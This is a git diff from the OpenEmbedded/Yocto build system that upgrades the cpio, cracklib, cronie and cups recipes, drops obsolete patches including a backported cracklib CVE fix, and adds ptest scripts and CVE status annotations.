index 478324c1c4..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 33e6cb5a28fab3d99bd6818f8c01e6f33805390f Mon Sep 17 00:00:00 2001
-From: Sergey Poznyakoff <gray@gnu.org>
-Date: Mon, 20 Jan 2020 07:45:39 +0200
-Subject: [PATCH] src/global.c: Remove superfluous declaration of program_name
-
-Upstream-Status: Backport (commit 641d3f4)
-Signed-off-by: Richard Leitner <richard.leitner@skidata.com>
----
- src/global.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/src/global.c b/src/global.c
-index fb3abe9..acf92bc 100644
---- a/src/global.c
-+++ b/src/global.c
-@@ -184,9 +184,6 @@ unsigned int warn_option = 0;
- /* Extract to standard output? */
- bool to_stdout_option = false;
-
--/* The name this program was run with. */
--char *program_name;
--
- /* A pointer to either lstat or stat, depending on whether
- dereferencing of symlinks is done for input files. */
- int (*xstat) ();
---
-2.26.2
-
diff --git a/meta/recipes-extended/cpio/cpio_2.13.bb b/meta/recipes-extended/cpio/cpio_2.13.bb
deleted file mode 100644
index 94d86100c7..0000000000
--- a/meta/recipes-extended/cpio/cpio_2.13.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "GNU cpio is a program to manage archives of files"
-DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
-another. It handles a number of cpio formats as well as reading and writing tar files."
-HOMEPAGE = "http://www.gnu.org/software/cpio/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
-
-SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0002-src-global.c-Remove-superfluous-declaration-of-progr.patch \
- "
-
-SRC_URI[md5sum] = "389c5452d667c23b5eceb206f5000810"
-SRC_URI[sha256sum] = "e87470d9c984317f658567c03bfefb6b0c829ff17dbf6b0de48d71a4c8f3db88"
-
-inherit autotools gettext texinfo
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}/
- mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
- if [ "${sbindir}" != "${bindir}" ]; then
- rmdir ${D}${bindir}/
- fi
- fi
-
- # Avoid conflicts with the version from tar
- mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "cpio"
-ALTERNATIVE_${PN}-rmt = "rmt"
-
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-
-ALTERNATIVE_PRIORITY[rmt] = "50"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio_2.15.bb b/meta/recipes-extended/cpio/cpio_2.15.bb
new file mode 100644
index 0000000000..52070f59a2
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio_2.15.bb
@@ -0,0 +1,87 @@
+SUMMARY = "GNU cpio is a program to manage archives of files"
+DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
+another. It handles a number of cpio formats as well as reading and writing tar files."
+HOMEPAGE = "http://www.gnu.org/software/cpio/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
+
+SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
+ file://run-ptest \
+ file://test.sh \
+ "
+
+SRC_URI[sha256sum] = "efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e"
+
+inherit autotools gettext texinfo ptest
+
+CVE_STATUS[CVE-2010-4226] = "not-applicable-platform: Issue applies to use of cpio in SUSE/OBS"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}/
+ mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
+ if [ "${sbindir}" != "${bindir}" ]; then
+ rmdir ${D}${bindir}/
+ fi
+ fi
+
+ # Avoid conflicts with the version from tar
+ mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
+}
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/gnu/ check
+ oe_runmake -C ${B}/lib/ check
+ oe_runmake -C ${B}/rmt/ check
+ oe_runmake -C ${B}/src/ check
+ oe_runmake -C ${B}/tests/ genfile
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ sed -i "/abs_/d" ${B}/tests/atconfig
+ install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
+ sed -i "s%${B}/tests:%%g" ${B}/tests/atlocal
+ sed -i "s%${B}/src:%%g" ${B}/tests/atlocal
+ install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${WORKDIR}/test.sh ${D}${PTEST_PATH}/test.sh
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/test.sh
+}
+
+# ptest.bbclass currently chowns the ptest directory explicitly, so we need to
+# change permission after that has happened so the ptest user can write a
+# temporary directory.
+do_install_ptest_base:append() {
+ chgrp -R ptest ${D}${PTEST_PATH}/
+ chmod -R g+w ${D}${PTEST_PATH}/
+}
+
+# The tests need to run as a non-root user, so pull in the ptest user
+DEPENDS:append:class-target = "${@bb.utils.contains('PTEST_ENABLED', '1', ' ptest-runner', '', d)}"
+PACKAGE_WRITE_DEPS += "ptest-runner"
+
+RDEPENDS:${PN}-ptest += "ptest-runner"
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "cpio"
+ALTERNATIVE:${PN}-rmt = "rmt"
+
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+
+ALTERNATIVE_PRIORITY[rmt] = "50"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/files/run-ptest b/meta/recipes-extended/cpio/files/run-ptest
new file mode 100755
index 0000000000..f35a756d6b
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+su -c ./test.sh ptest
diff --git a/meta/recipes-extended/cpio/files/test.sh b/meta/recipes-extended/cpio/files/test.sh
new file mode 100644
index 0000000000..f027574e86
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/test.sh
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Define cpio test work dir
+WORKDIR=@PTEST_PATH@/tests/
+
+# Run test
+cd ${WORKDIR}
+./atconfig ./atlocal ./testsuite
+
+./testsuite 2>&1 | grep -E '[0-9]{1,3}: ' | sed -e 's/^.....//' -e '/[ok]$/s/^/PASS: /;/FAILED (.*)/s/^/FAIL: /;/skipped (.*)/s/^/SKIP: /;/expected failure/ s/^/PASS: /;/UNEXPECTED PASS/s/^/FAIL: /' -e 's/ok$//g' -e 's/FAILED.*//g' -e 's/skipped.*//g' -e 's/expected failure.*//g' -e 's/UNEXPECTED PASS.*//g'
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
deleted file mode 100644
index b251ac9056..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001
-From: Jan Dittberner <jan@dittberner.info>
-Date: Thu, 25 Aug 2016 17:13:49 +0200
-Subject: [PATCH] Apply patch to fix CVE-2016-6318
-
-This patch fixes an issue with a stack-based buffer overflow when
-parsing large GECOS field. See
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and
-https://security-tracker.debian.org/tracker/CVE-2016-6318 for more
-information.
-
-Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1]
-CVE: CVE-2016-6318
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- lib/fascist.c | 57 ++++++++++++++++++++++++++++++++-----------------------
- 1 file changed, 33 insertions(+), 24 deletions(-)
-
-diff --git a/lib/fascist.c b/lib/fascist.c
-index a996509..d4deb15 100644
---- a/lib/fascist.c
-+++ b/lib/fascist.c
-@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- char gbuffer[STRINGSIZE];
- char tbuffer[STRINGSIZE];
- char *uwords[STRINGSIZE];
-- char longbuffer[STRINGSIZE * 2];
-+ char longbuffer[STRINGSIZE];
-
- if (gecos == NULL)
- gecos = "";
-@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- {
- for (i = 0; i < j; i++)
- {
-- strcpy(longbuffer, uwords[i]);
-- strcat(longbuffer, uwords[j]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE)
- {
-- return _("it is derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[i]);
-+ strcat(longbuffer, uwords[j]);
-
-- strcpy(longbuffer, uwords[j]);
-- strcat(longbuffer, uwords[i]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derived from your password entry");
-+ }
-
-- if (GTry(longbuffer, password))
-- {
-- return _("it's derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[j]);
-+ strcat(longbuffer, uwords[i]);
-
-- longbuffer[0] = uwords[i][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[j]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derived from your password entry");
-+ }
-+ }
-
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[j]) < STRINGSIZE - 1)
- {
-- return _("it is derivable from your password entry");
-+ longbuffer[0] = uwords[i][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[j]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derivable from your password entry");
-+ }
- }
-
-- longbuffer[0] = uwords[j][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[i]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) < STRINGSIZE - 1)
- {
-- return _("it's derivable from your password entry");
-+ longbuffer[0] = uwords[j][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[i]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derivable from your password entry");
-+ }
- }
- }
- }
---
-2.8.1
-
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
index adbe7dfff4..20572b55c4 100644
--- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
@@ -1,7 +1,7 @@
-From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001
+From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Tue, 9 Jun 2015 11:11:48 +0900
-Subject: [PATCH] packlib.c: support dictionary byte order dependent
+Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent
The previous dict files are NOT byte-order independent, in fact they are
probably ARCHITECTURE SPECIFIC.
@@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while
load them. This could fix the endian issue on multiple platform.
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41]
We can't use the endian.h, htobe* and be*toh functions because they are
not available on older versions of glibc, such as that found in RHEL
@@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
---
- lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
+ lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 210 insertions(+), 4 deletions(-)
diff --git a/lib/packlib.c b/lib/packlib.c
-index f851424..3aac805 100644
+index 9396e1d..d0bb181 100644
--- a/lib/packlib.c
+++ b/lib/packlib.c
@@ -16,6 +16,12 @@
@@ -41,8 +41,8 @@ index f851424..3aac805 100644
+#include <byteswap.h>
#include "packer.h"
- static const char vers_id[] = "packlib.c : v2.3p2 Alec Muffett 18 May 1993";
-@@ -45,6 +51,185 @@ typedef struct
+ #define DEBUG 0
+@@ -43,6 +49,185 @@ typedef struct
char data_get[NUMWORDS][MAXWORDLEN];
} PWDICT64;
@@ -228,7 +228,7 @@ index f851424..3aac805 100644
static int
_PWIsBroken64(FILE *ifp)
-@@ -57,6 +242,7 @@ _PWIsBroken64(FILE *ifp)
+@@ -55,6 +240,7 @@ _PWIsBroken64(FILE *ifp)
return 0;
}
@@ -236,7 +236,7 @@ index f851424..3aac805 100644
return (pdesc64.header.pih_magic == PIH_MAGIC);
}
-@@ -149,7 +335,11 @@ PWOpen(prefix, mode)
+@@ -147,7 +333,11 @@ PWOpen(prefix, mode)
pdesc.header.pih_blocklen = NUMWORDS;
pdesc.header.pih_numwords = 0;
@@ -249,7 +249,7 @@ index f851424..3aac805 100644
} else
{
pdesc.flags &= ~PFOR_WRITE;
-@@ -173,6 +363,7 @@ PWOpen(prefix, mode)
+@@ -171,6 +361,7 @@ PWOpen(prefix, mode)
return NULL;
}
@@ -257,7 +257,7 @@ index f851424..3aac805 100644
if ((pdesc.header.pih_magic == 0) || (pdesc.header.pih_numwords == 0))
{
/* uh-oh. either a broken "64-bit" file or a garbage file. */
-@@ -195,6 +386,7 @@ PWOpen(prefix, mode)
+@@ -193,6 +384,7 @@ PWOpen(prefix, mode)
}
return NULL;
}
@@ -265,7 +265,7 @@ index f851424..3aac805 100644
if (pdesc64.header.pih_magic != PIH_MAGIC)
{
/* nope, not "64-bit" after all */
-@@ -290,6 +482,7 @@ PWOpen(prefix, mode)
+@@ -288,6 +480,7 @@ PWOpen(prefix, mode)
{
pdesc.flags &= ~PFOR_USEHWMS;
}
@@ -273,7 +273,7 @@ index f851424..3aac805 100644
for (i = 0; i < sizeof(pdesc.hwms) / sizeof(pdesc.hwms[0]); i++)
{
pdesc.hwms[i] = pdesc64.hwms[i];
-@@ -299,6 +492,7 @@ PWOpen(prefix, mode)
+@@ -297,6 +490,7 @@ PWOpen(prefix, mode)
{
pdesc.flags &= ~PFOR_USEHWMS;
}
@@ -281,7 +281,7 @@ index f851424..3aac805 100644
#if DEBUG
for (i=1; i<=0xff; i++)
{
-@@ -332,7 +526,11 @@ PWClose(pwp)
+@@ -330,7 +524,11 @@ PWClose(pwp)
return (-1);
}
@@ -294,7 +294,7 @@ index f851424..3aac805 100644
{
fprintf(stderr, "index magic fwrite failed\n");
return (-1);
-@@ -351,7 +549,12 @@ PWClose(pwp)
+@@ -349,7 +547,12 @@ PWClose(pwp)
printf("hwm[%02x] = %d\n", i, pwp->hwms[i]);
#endif
}
@@ -308,7 +308,7 @@ index f851424..3aac805 100644
}
}
-@@ -405,7 +608,8 @@ PutPW(pwp, string)
+@@ -403,7 +606,8 @@ PutPW(pwp, string)
datum = (uint32_t) ftell(pwp->dfp);
@@ -317,8 +317,8 @@ index f851424..3aac805 100644
+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp);
fputs(pwp->data_put[0], pwp->dfp);
- putc(0, pwp->dfp);
-@@ -464,6 +668,7 @@ GetPW(pwp, number)
+ putc(0, (FILE*) pwp->dfp);
+@@ -462,6 +666,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
}
@@ -326,7 +326,7 @@ index f851424..3aac805 100644
datum = datum64;
} else {
if (fseek(pwp->ifp, sizeof(struct pi_header) + (thisblock * sizeof(uint32_t)), 0))
-@@ -477,6 +682,7 @@ GetPW(pwp, number)
+@@ -475,6 +680,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
}
@@ -335,5 +335,5 @@ index f851424..3aac805 100644
int r = 1;
--
-1.8.4.2
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
deleted file mode 100644
index 6210e82121..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 27 Apr 2013 16:02:30 +0800
-Subject: [PATCH] craklib:fix testnum and teststr failed
-
-Error log:
-...
-$ ./testnum
-(null).pwd.gz: No such file or directory
-PWOpen: No such file or directory
-
-$ ./util/teststr
-(null).pwd.gz: No such file or directory
-PWOpen: No such file or directory
-...
-Set DEFAULT_CRACKLIB_DICT as the path of PWOpen
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
----
- util/testnum.c | 2 +-
- util/teststr.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/util/testnum.c b/util/testnum.c
-index ae2246d..ca210ff 100644
---- a/util/testnum.c
-+++ b/util/testnum.c
-@@ -20,7 +20,7 @@ main ()
- PWDICT *pwp;
- char buffer[STRINGSIZE];
-
-- if (!(pwp = PWOpen (NULL, "r")))
-+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
- {
- perror ("PWOpen");
- return (-1);
-diff --git a/util/teststr.c b/util/teststr.c
-index 2a31fa4..9fb9cda 100644
---- a/util/teststr.c
-+++ b/util/teststr.c
-@@ -15,7 +15,7 @@ main ()
- PWDICT *pwp;
- char buffer[STRINGSIZE];
-
-- if (!(pwp = PWOpen (NULL, "r")))
-+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
- {
- perror ("PWOpen");
- return (-1);
---
-1.7.10.4
-
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.11.bb b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
new file mode 100644
index 0000000000..34ef2b65a1
--- /dev/null
+++ b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Password strength checker library"
+HOMEPAGE = "https://github.com/cracklib/cracklib"
+DESCRIPTION = "${SUMMARY}"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
+
+DEPENDS = "cracklib-native zlib"
+
+EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
+
+SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=main \
+ file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
+ "
+
+SRCREV = "4cf5125250c6325ef0a2dc085eabff875227edc3"
+S = "${WORKDIR}/git/src"
+
+inherit autotools gettext
+
+# This is custom stuff from upstream's autogen.sh
+do_configure:prepend() {
+ mkdir -p ${S}/m4
+ echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append:class-target() {
+ create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
deleted file mode 100644
index 82995219dc..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Password strength checker library"
-HOMEPAGE = "http://sourceforge.net/projects/cracklib"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-
-DEPENDS = "cracklib-native zlib"
-
-EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \
- file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
- file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \
- file://0002-craklib-fix-testnum-and-teststr-failed.patch"
-
-SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582"
-SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/"
-UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools gettext
-
-do_install_append_class-target() {
- create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
index c374790d1d..464d1470e3 100644
--- a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
+++ b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
@@ -1,9 +1,19 @@
+From f5b325cba73018e5be984570fd4e680e59e7865d Mon Sep 17 00:00:00 2001
+From: Wenzong Fan <wenzong.fan@windriver.com>
+Date: Wed, 20 Jul 2011 02:42:28 +0000
+Subject: [PATCH] cronie: enable PAM support for cronie
+
password-auth is the Fedora's common pam configure file, use oe common pam
configure files instead.
Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
+
+---
+ pam/crond | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
diff --git a/pam/crond b/pam/crond
index 560529d..95a6457 100644
--- a/pam/crond
diff --git a/meta/recipes-extended/cronie/cronie_1.5.5.bb b/meta/recipes-extended/cronie/cronie_1.7.1.bb
index 0def4a187d..854b68163c 100644
--- a/meta/recipes-extended/cronie/cronie_1.5.5.bb
+++ b/meta/recipes-extended/cronie/cronie_1.7.1.bb
@@ -7,16 +7,16 @@ HOMEPAGE = "https://github.com/cronie-crond/cronie/"
BUGTRACKER = "https://bugzilla.redhat.com"
# Internet Systems Consortium License
-LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+"
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
SECTION = "utils"
-UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
+GITHUB_BASE_URI = "https://github.com/cronie-crond/${BPN}/releases/"
-SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/cronie-${PV}/cronie-${PV}.tar.gz \
file://crond.init \
file://crontab \
file://crond.service \
@@ -25,37 +25,38 @@ SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}
PAM_SRC_URI = "file://crond_pam_config.patch"
PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
-SRC_URI[md5sum] = "351a37d0b5bd0144816724b4482747ad"
-SRC_URI[sha256sum] = "be34c79505e5544323281854744b9955ff16b160ee569f9df7c0dddae5720eac"
+SRC_URI[sha256sum] = "78033100c24413f0c40f93e6138774d6a4f55bc31050567b90db45a2f9f1b954"
-inherit autotools update-rc.d useradd systemd
+inherit autotools update-rc.d useradd systemd github-releases
+UPSTREAM_CHECK_REGEX = "releases/tag/cronie-(?P<pver>\d+(\.\d+)+)"
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
INITSCRIPT_NAME = "crond"
INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system crontab"
+GROUPADD_PARAM:${PN} = "--system crontab"
-SYSTEMD_SERVICE_${PN} = "crond.service"
+SYSTEMD_SERVICE:${PN} = "crond.service"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/sysconfig/
install -d ${D}${sysconfdir}/init.d/
install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
# install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/crond.service
+ ${D}${systemd_system_unitdir}/crond.service
# below are necessary for a complete cron environment
install -d ${D}${localstatedir}/spool/cron
@@ -80,5 +81,5 @@ do_install_append () {
chmod 600 ${D}${sysconfdir}/crontab
}
-FILES_${PN} += "${sysconfdir}/cron*"
-CONFFILES_${PN} += "${sysconfdir}/crontab"
+FILES:${PN} += "${sysconfdir}/cron*"
+CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
index 1765944568..b70ba3ae58 100644
--- a/meta/recipes-extended/cups/cups.inc
+++ b/meta/recipes-extended/cups/cups.inc
@@ -6,66 +6,68 @@ document types."
HOMEPAGE = "https://www.cups.org/"
SECTION = "console/utils"
LICENSE = "Apache-2.0"
-DEPENDS = "gnutls libpng jpeg dbus zlib libusb1"
+DEPENDS = "libpng jpeg dbus zlib libusb1"
-SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/cups-${PV}-source.tar.gz \
file://0001-use-echo-only-in-init.patch \
file://0002-don-t-try-to-run-generated-binaries.patch \
- file://0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch \
+ file://libexecdir.patch \
file://0004-cups-fix-multilib-install-file-conflicts.patch \
file://volatiles.99_cups \
file://cups-volatiles.conf \
"
-UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases"
-UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar"
+GITHUB_BASE_URI = "https://github.com/OpenPrinting/cups/releases"
+
+CVE_STATUS[CVE-2008-1033] = "not-applicable-platform: Issue only applies to MacOS"
+CVE_STATUS[CVE-2009-0032] = "cpe-incorrect: Issue affects pdfdistiller plugin used with but not part of cups"
+CVE_STATUS[CVE-2018-6553] = "not-applicable-platform: This is an Ubuntu only issue"
+CVE_STATUS[CVE-2022-26691] = "fixed-version: This is fixed in 2.4.2 but the cve-check class still reports it"
+CVE_STATUS[CVE-2021-25317] = "not-applicable-config: This concerns /var/log/cups having lp ownership, our /var/log/cups is root:root, so this doesn't apply."
LEAD_SONAME = "libcupsdriver.so"
CLEANBROKEN = "1"
-inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script
+inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script github-releases
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system lpadmin"
+GROUPADD_PARAM:${PN} = "--system lpadmin"
-SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket"
+SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
